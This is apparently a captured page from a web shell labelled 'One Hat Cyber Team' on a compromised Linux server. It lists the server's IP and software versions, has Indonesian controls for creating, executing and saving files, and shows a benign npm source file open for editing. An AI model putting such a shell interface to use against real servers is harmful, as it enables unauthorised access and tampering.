One Hat Cyber Team
Your IP :
10.30.1.1
Server IP :
103.148.201.5
Server :
Linux web-olt 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Server Software :
Apache/2.4.52 (Ubuntu)
PHP Version :
8.1.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
6955
/
root
/
usr
/
share
/
npm
/
lib
/
exec
/
Edit File:
get-workspace-location-msg.js
const chalk = require('chalk') const readPackageJson = require('read-package-json-fast') const nocolor = { dim: s => s, green: s => s, } const getLocationMsg = async ({ color, path }) => { const colorize = color ? chalk : nocolor const { _id } = await readPackageJson(`${path}/package.json`) .catch(() => ({})) const workspaceMsg = _id ? ` in workspace ${colorize.green(_id)}` : ` in a ${colorize.green('new')} workspace` const locationMsg = ` at location:\n${ colorize.dim(path) }` return `${workspaceMsg}${locationMsg}` } module.exports = getLocationMsg
Simpan